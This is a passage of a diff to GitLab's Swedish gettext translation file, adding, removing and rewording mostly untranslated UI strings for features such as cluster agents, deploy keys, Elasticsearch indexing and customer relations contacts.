-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Lägg till en tabell"
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr "Lägg till ny katalog"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr "Skapa ny katalog"
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr "Katalognamn"
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
